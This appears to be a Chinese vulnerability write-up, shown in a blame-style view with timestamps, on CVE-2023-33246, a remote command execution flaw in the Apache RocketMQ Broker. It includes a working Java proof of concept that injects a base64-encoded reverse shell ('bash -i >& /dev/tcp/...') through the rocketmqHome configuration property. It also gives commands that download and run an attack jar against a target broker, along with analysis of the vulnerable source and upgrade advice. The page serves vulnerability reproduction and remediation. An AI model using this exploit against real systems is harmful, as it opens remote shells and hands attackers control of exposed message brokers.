2025-02-10 14:01:15 +08:00
|
|
|
|
# Apache RocketMQ Broker 远程命令执行漏洞 CVE-2023-33246
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
Apache RocketMQ 是一个分布式消息平台。
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
Apache RocketMQ RocketMQ 5.1.0 及以下版本,在一定条件下存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|
参考链接:
|
|
|
|
|
|
|
|
|
|
|
|
- https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
|
|
|
|
|
|
- https://github.com/I5N0rth/CVE-2023-33246
|
2025-02-10 14:01:15 +08:00
|
|
|
|
- https://github.com/Le1a/CVE-2023-33246
|
|
|
|
|
|
- https://paper.seebug.org/2081/
|
|
|
|
|
|
- https://xz.aliyun.com/news/12137
|
|
|
|
|
|
- https://xz.aliyun.com/news/12035
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Apache RocketMQ <= 5.1.0
|
|
|
|
|
|
Apache RocketMQ <= 4.9.5
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 网络测绘
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
title="RocketMQ"
|
|
|
|
|
|
```
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|
## 环境搭建
|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
Vulhub 执行如下命令启动一个 RocketMQ broker 5.1.0::
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
docker compose up -d
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
环境启动后,RocketMQ 的 Broker 将会监听在 10911 端口。
|
|
|
|
|
|
|
2024-11-06 14:10:36 +08:00
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
使用 `IDEA` 或 `Eclipse` 等 `IDE` 新建一个 `Maven` 项目,导入依赖:
|
|
|
|
|
|
|
|
|
|
|
|
```java
|
|
|
|
|
|
<dependencies>
|
|
|
|
|
|
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
|
|
|
|
|
|
<dependency>
|
|
|
|
|
|
<groupId>org.apache.rocketmq</groupId>
|
|
|
|
|
|
<artifactId>rocketmq-tools</artifactId>
|
|
|
|
|
|
<version>5.1.0</version>
|
|
|
|
|
|
</dependency>
|
|
|
|
|
|
</dependencies>
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
PoC 如下:
|
|
|
|
|
|
|
|
|
|
|
|
```java
|
|
|
|
|
|
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
|
|
|
|
|
|
|
|
|
|
|
|
import java.util.Base64;
|
|
|
|
|
|
import java.util.Properties;
|
|
|
|
|
|
|
|
|
|
|
|
public class Main {
|
|
|
|
|
|
private static String getCmd(String ip, String port) {
|
|
|
|
|
|
String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
|
|
|
|
|
|
String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
|
|
|
|
|
|
return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
public static void main(String[] args) throws Exception {
|
|
|
|
|
|
String targetHost = "your-ip";
|
|
|
|
|
|
String targetPort = "10911";
|
|
|
|
|
|
|
|
|
|
|
|
String shellHost = "your-ip";
|
|
|
|
|
|
String shellPort = "12345";
|
|
|
|
|
|
|
|
|
|
|
|
String targetAddr = String.format("%s:%s",targetHost,targetPort);
|
|
|
|
|
|
Properties props = new Properties();
|
|
|
|
|
|
props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
|
|
|
|
|
|
props.setProperty("filterServerNums", "1");
|
|
|
|
|
|
DefaultMQAdminExt admin = new DefaultMQAdminExt();
|
|
|
|
|
|
admin.setNamesrvAddr("0.0.0.0:12345");
|
|
|
|
|
|
admin.start();
|
|
|
|
|
|
admin.updateBrokerConfig(targetAddr, props);
|
|
|
|
|
|
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
|
|
|
|
|
|
System.out.println(brokerConfig.getProperty("rocketmqHome"));
|
|
|
|
|
|
System.out.println(brokerConfig.getProperty("filterServerNums"));
|
|
|
|
|
|
admin.shutdown();
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
在控制台成功输出新的配置后,请等待 30 秒左右,将会收到反连请求。
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|

|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
---
|
|
|
|
|
|
**2025.02.10 更新**
|
|
|
|
|
|
|
|
|
|
|
|
该漏洞存在于 RocketMQ 的 Broker 组件的配置更新功能中。Broker 组件在配置更新接口中缺乏适当的身份认证和输入验证,攻击者可以修改配置值。
|
|
|
|
|
|
|
|
|
|
|
|
这个漏洞之所以特别危险,是因为 RocketMQ 的 filter server 机制。RocketMQ 每 30 秒会执行一次 filter server,执行方式是通过运行 shell 命令。这个命令是通过字符串拼接构造的,其中包含了来自配置中的 `rocketmqHome` 值。由于攻击者可以控制这个配置值,且这个值在构造命令时没有经过适当的过滤,因此导致了命令注入漏洞。
|
|
|
|
|
|
|
|
|
|
|
|
我们可以使用 Vulhub 项目 [rocketmq-attack](https://github.com/vulhub/rocketmq-attack) 来复现漏洞并执行任意命令:
|
|
|
|
|
|
|
|
|
|
|
|
```shell
|
|
|
|
|
|
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.0/rocketmq-attack-1.0-SNAPSHOT.jar
|
|
|
|
|
|
java -jar rocketmq-attack-1.0-SNAPSHOT.jar AttackBroker --target your-ip:10911 --cmd "touch /tmp/awesome_poc"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|

|
|
|
|
|
|
|
|
|
|
|
|
等待最多 30 秒后,可见 `touch /tmp/success` 命令已成功执行:
|
|
|
|
|
|
|
|
|
|
|
|

|
|
|
|
|
|
|
2024-11-06 14:10:36 +08:00
|
|
|
|
## 漏洞分析
|
|
|
|
|
|
|
|
|
|
|
|
PoC 对 `filterServerNums` 属性和 `rocketmqHome` 属性进行了修改。
|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
为什么要修改 `filterServerNums` 属性:如果配置的 `filterServerNums` 为 0,计算得出的 `more` 也会是 0,因此无法进入 `callShell` 方法执行命令。
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
public void createFilterServer() {
|
|
|
|
|
|
int more =
|
|
|
|
|
|
this.brokerController.getBrokerConfig().getFilterServerNums() -
|
|
|
|
|
|
this.filterServerTable.size();
|
|
|
|
|
|
String cmd = this.buildStartCommand();
|
|
|
|
|
|
for (int i = 0; i < more; i++) {
|
|
|
|
|
|
FilterServerUtil.callShell(cmd, log);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
public static void callShell(final String shellString, final Logger log) {
|
|
|
|
|
|
Process process = null;
|
|
|
|
|
|
try {
|
|
|
|
|
|
String[] cmdArray = splitShellString(shellString);
|
|
|
|
|
|
process = Runtime.getRuntime().exec(cmdArray);
|
|
|
|
|
|
process.waitFor();
|
|
|
|
|
|
log.info("CallShell: <{}> OK", shellString);
|
|
|
|
|
|
} catch (Throwable e) {
|
|
|
|
|
|
log.error("CallShell: readLine IOException, {}", shellString, e);
|
|
|
|
|
|
} finally {
|
|
|
|
|
|
if (null != process)
|
|
|
|
|
|
process.destroy();
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2025-02-10 14:01:15 +08:00
|
|
|
|
为什么要修改 `rocketmqHome` 属性:在构建命令的时候,最终会调用 `splitShellString` 方法按照空格对参数进行分割,所以不可以是 `NamesrvAddr` 参数,只能是开头的 `rocketmqHome` 参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。
|
2024-11-06 14:10:36 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
private String buildStartCommand() {
|
|
|
|
|
|
String config = "";
|
|
|
|
|
|
if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
|
|
|
|
|
|
config = String.format("-c %s",
|
|
|
|
|
|
BrokerStartup.CONFIG_FILE_HELPER.getFile());
|
|
|
|
|
|
}
|
|
|
|
|
|
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
|
|
|
|
|
|
config += String.format(" -n %s",
|
|
|
|
|
|
this.brokerController.getBrokerConfig().getNamesrvAddr());
|
|
|
|
|
|
}
|
|
|
|
|
|
if (NetworkUtil.isWindowsPlatform()) {
|
|
|
|
|
|
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
|
|
|
|
|
|
this.brokerController.getBrokerConfig().getRocketmqHome(),
|
|
|
|
|
|
config);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
return String.format("sh %s/bin/startfsrv.sh %s",
|
|
|
|
|
|
this.brokerController.getBrokerConfig().getRocketmqHome(),
|
|
|
|
|
|
config);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
2025-02-10 14:01:15 +08:00
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞修复
|
|
|
|
|
|
|
|
|
|
|
|
目前官方已发布安全修复更新,受影响用户可以升级到 Apache RocketMQ 5.1.1 或者 4.9.6。 https://rocketmq.apache.org/download/
|